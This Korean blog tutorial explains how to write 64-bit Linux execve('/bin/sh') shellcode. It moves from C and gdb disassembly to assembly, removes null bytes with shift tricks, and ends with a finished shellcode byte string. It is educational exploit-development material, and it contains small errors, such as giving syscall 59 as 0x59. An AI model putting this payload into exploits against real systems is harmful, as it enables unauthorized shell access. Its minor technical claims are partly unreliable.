Back

[SYSTEM HACKING] 64bit Linux Execve Shell Code 만들기(64bit Execve ShellCode & Remove Null Byte)

오늘은 64비트 쉘코드에 대한 이야기를 할까 합니다. 예전에 이쪽 분야 관심을 가졌을 초반 쯤에 32bit에 대한 쉘코드를 만들고 사용했었지만 지금은.. 일 특성상 딱히 쉘코드를 사용할 일이 굉장히 적어졌기에 간만에 보는 느낌입니다. (써도..그냥 만들어진거 쓰는게 속이 편해요 ㅎㅎㅎㅎㅎㅎㅎ)

일단 32bit나 64bit나 직접 assembly 코드를 짜거나, C에서 변환하는 식으로 하는것이 좋습니다.

C를 기반으로 /bin/sh 실행 코드 작성하기(with Execve)

어디에서나 볼 수 있는 매우 간단한 execve를 활요하는 명령 실행 코드를 작성합니다. 어차피 system 함수나 뭘 쓰던 결국은 execve를 통해 시스템 콜을 요청하기 때문에 그냥 바로 execve로 하는게 속은 편하지요.

##shell.c


#include <stdlib.h>

int main()
{
    execve("/bin/sh",NULL,NULL);
}

매우 간단합니다. 그냥 execve 함수를 통해 /bin/sh를 실행하라고 하는 코드입니다.

Disassembling 하여 Assembly Code 확인하기

해당 코드를 gdb로 disassemble 하여 main 함수를 보면 다음과 같습니다.

(gdb) disas main Dump of assembler code for function main: 0x000000000040050c <+0>: push %rbp 0x000000000040050d <+1>: mov %rsp,%rbp 0x0000000000400510 <+4>: mov $0x0,%edx 0x0000000000400515 <+9>: mov $0x0,%esi 0x000000000040051a <+14>: mov $0x4005dc,%edi 0x000000000040051f <+19>: callq 0x4003f0 execve@plt 0x0000000000400524 <+24>: pop %rbp 0x0000000000400525 <+25>: retq
End of assembler dump.

0x000000000040050c <+0>: push %rbp 0x000000000040050d <+1>: mov %rsp,%rbp 이 부분은 함수 프롤로그(시작) 부분과 같고,

0x0000000000400510 <+4>: mov $0x0,%edx 0x0000000000400515 <+9>: mov $0x0,%esi 0x000000000040051a <+14>: mov $0x4005dc,%edi 이 부분이 우리가 함수를 사용하는 부분 중 인자값에 관련된 부분이 됩니다.

edx, esi에 0x0(NULL)으로 값을 세팅하고 edi에 0x4005dc를 세팅합니다. 0x4005dc는 명령으로 확인해보면 “/bin/sh"인 것을 알 수 있습니다.

(gdb) x/s 0x4005dc 0x4005dc: “/bin/sh”

그리고 세팅된 인자값을 가지고 execve를 call합니다. 0x000000000040051f <+19>: callq 0x4003f0 execve@plt

execve는 시스템콜을 이용하여 호출할 수 있고 32비트는 11(0xb), 64비트는 59(0x59)로 정의되어 있습니다. (이부분은 체크리스트 참고하시면 도움될듯해요) [링크 추가]

여기서 우리가 필요한 부분은 인자값을 넣고 함수를 실행하는 부분인데요.

mov $0x0,%edx mov $0x0,%esi mov $0x4005dc,%edi mov $59, $rax syscall

이런식으로 가면 인자값을 넣고 함수 실행이 가능할 것으로 보입니다. 이 내용을 바탕으로 assem 코드를 작성하면 아래와 같은 모양이 나오겠지요.

Assembly Code 작성하기

아까 위에서 gdb를 통해서 확인한 데이터를 가지고 Assembly 코드를 작성합니다.

shell.s


.section .data

name: .string "/bin/sh"

.section .text
.global _start

_start:

pushq $0     ;
pushq name   ; 

movq $59, %rax ; 
movq %rsp, %rdi ; 
movq $0, %rsi
movq $0, %rdx ;
syscall 

여기서 data section에 name이란 이름으로 /bin/sh를 넣어두고 .section .data

name: .string “/bin/sh”

rax에 시스템콜 넘버를 세팅하고, 나머지 자리에 인수를 세팅한 후

movq $59, %rax ; movq %rsp, %rdi ; movq $0, %rsi movq $0, %rdx ; syscall

syscall을 이용하여 명령을 실행합니다.

#> as -o shell.o shell.s #> ld -o shell shell.o

실행파일로 만들어서 실행해보면 /bin/sh가 실행됨을 확인할 수 있습니다.

HaHwul #> ./shell

echo “This is /bin/sh”

This is /bin/sh

일단 Assembly 코드를 이용해 다시 컴파일 하고 실행하여서 /bin/sh가 실행되는것으로 보아 문제없이 잘 작성한 것으로 보이네요.

Objdump를 이용하여 기계어 확인하기

분석에서도 많이 사용되는 objdump를 이용해서 Assembly를 이용해 만든 실행파일을 까서 봅니다. -d 옵션으로 볼 수 있지요 :)

HaHwul #> objdump shell -d

shell: file format elf64-x86-64

Disassembly of section .text:

00000000004000b0 <_start>: 4000b0: 6a 00 pushq $0x0 4000b2: ff 34 25 d4 00 60 00 pushq 0x6000d4 4000b9: 48 c7 c0 3b 00 00 00 mov $0x3b,%rax 4000c0: 48 89 e7 mov %rsp,%rdi 4000c3: 48 c7 c6 00 00 00 00 mov $0x0,%rsi 4000ca: 48 c7 c2 00 00 00 00 mov $0x0,%rdx 4000d1: 0f 05 syscall

일단 여기까지 확인한 데이터로 쉘코드로 사용이 가능은 합니다만.. strcpy 같이 문자열을 처리하는 함수중에 0x00을 만났을 시 끝 부분으로 인지하는 함수들이 많습니다. 그래서 좋은 쉘코드 작성을 위해서는 Null Byte(0x00)에 대한 제거가 필요합니다.

Null Byte 제거하기(Remove NullByte)

여러번의 테스트를 위해서 그냥 컴파일 과정+objdump까지 한 명령행으로 묶어 사용하면 조금 편합니다. HaHwul #> as -o shell.o shell.s;ld -o shell shell.o;objdump -d shell


.section .data

name: .string "/bin/sh"

.section .text
.global _start

_start:

pushq name   
movq $59, %rax 
mov %rsp, %rdi 
movq $0, %rsi
movq $0, %rdx 
syscall

일단 굳이 필요없는 부분은 제거해도 될 것 같아 테스트하면서 좀 지워봤습니다. 일단 execve가 인자값이 3개로 넣어줬는데, 사실 이거 한개로도 동작이 가능하기 때문에..

rax에 system call number를 넘겨주고, 인자값 하나에만 명령행을 넘겨줘도 일단 동작은 가능합니다. (주석 처리로 일단 제거처리)

HaHwul #> cat shell.s .section .data

name: .string “/bin/sh”

.section .text .global _start

_start:

pushq name
movq $59, %rax mov %rsp, %rdi #movq $0, %rsi #movq $0, %rdx syscall

HaHwul #> as -o shell.o shell.s;ld -o shell shell.o;objdump -d shell

shell: file format elf64-x86-64

Disassembly of section .text:

00000000004000b0 <_start>: 4000b0: ff 34 25 c4 00 60 00 pushq 0x6000c4 4000b7: 48 c7 c0 3b 00 00 00 mov $0x3b,%rax 4000be: 48 89 e7 mov %rsp,%rdi 4000c1: 0f 05 syscall

┎ [ 02:49:24 : root ] [ /home/hahwul/test/diet ] HaHwul #> ./shell

exit

코드길이가 쬐끔 줄었네요. 실행했을때도 별 이상이 없습니다.

이제 Null byte의 의치를 보면 pushq, 랑 2번째 mov에서 발생을합니다.

32bit는 xor로 가능하지만.. 64bit에서는 안타깝게도 불가능합니다. xor %eax, %eax movb 0xb, %al

해결을 위해서 여러가지 자료를 찾아봤습니다. 찾아보니 shift 연산을 이용하서 64bit에서도 null을 제거할 수 있는 방법이 있더군요.

HaHwul #> cat shell.s


.section .data

name: .string "/bin/sh"

.section .text
.global _start

_start:
# pushq name
# string Null byte remove
movabs $0x1168732f6e69622f, %rbx
shl $0x08, %rbx
shr $0x08, %rbx
push %rbx

# movq $59, %rax
# rax(system call) Null Byte remove
movq $0x1111113b, %rax 
mov %rsp, %rdi 
shl $0x38, %rax
shr $0x38, %rax
syscall

Null이 발생하던 /bin/sh를 꺼내어 넣는부분과, eax에 system call을 주는 부분을 위와 같이 shift 연산을 통해 null이 없는 형태로 구현할 수 있습니다. (이부분은 웹 페이지 참고를 많이 했네요.. 아직도 약간 헷갈리는 ..) (# http://null-byte.wonderhowto.com/how-to/writing-64-bit-shellcode-part-2-removing-null-bytes-0161591/ )

아까 테스트를 위해 사용하던 명령으로 컴파일 및 objdump로 확인을 하면

HaHwul #> as -o shell.o shell.s;ld -o shell shell.o;objdump -d shell

shell: file format elf64-x86-64

Disassembly of section .text:

00000000004000b0 <_start>: 4000b0: 48 bb 2f 62 69 6e 2f movabs $0x1168732f6e69622f,%rbx 4000b7: 73 68 11 4000ba: 48 c1 e3 08 shl $0x8,%rbx 4000be: 48 c1 eb 08 shr $0x8,%rbx 4000c2: 53 push %rbx 4000c3: 48 c7 c0 3b 11 11 11 mov $0x1111113b,%rax 4000ca: 48 89 e7 mov %rsp,%rdi 4000cd: 48 c1 e0 38 shl $0x38,%rax 4000d1: 48 c1 e8 38 shr $0x38,%rax 4000d5: 0f 05 syscall

Null Byte가 사라진 것을 알 수 있습니다. (처음했을때 완전 기뻤했다죠 ㅎㅎㅎ) 정상 구동이 되는지 테스트를 해보면 /bin/sh가 실행되는 것을 확인할 수 있습니다.

HaHwul #> ./shell

ls

shell shell.o shell.s

이제 objdump로 보인 데이터를 shell code로 만들 시간이네요. 저 데이터를 순서대로 써주어 하나의 문자열을 만들면 됩니다. 처음엔 직접하는게 좋겠지만.. 점점 귀찮기 때문에 nasm과 hexdump로 쉽게 뽑아낼 수 있습니다.

길지 않으니 !표로 나누어 쓰고 대부분 텍스트에디터 기능에 있는 찾아 바꾸기 기능을 이용해서 \x로 바꿔주면 편합니다.

!48!bb!2f!62!69!6e!2f!73!68!11!48!c1!e3!08!48!c1!eb!08!53!48!c7!c0!3b!11!11!11!48!89!e7!48!c1!e0!38!48!c1!e8!38!0f!05

! -> \x

\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe3\x08\x48\xc1\xeb\x08\x53\x48\xc7\xc0\x3b\x11\x11\x11\x48\x89\xe7\x48\xc1\xe0\x38\x48\xc1\xe8\x38\x0f\x05

32bit랑은 다른 부분이 있기에 알아두면 좋을 것 같습니다. 궁금하신 점은 댓글주세요. :)

Reference

http://null-byte.wonderhowto.com/how-to/writing-64-bit-shellcode-part-2-removing-null-bytes-0161591/ http://research.hackerschool.org/Datas/Research_Lecture/sc_making.txt

Licensed under CC BY-NC-SA 4.0
Last updated on Jul 10, 2021 01:05 +0900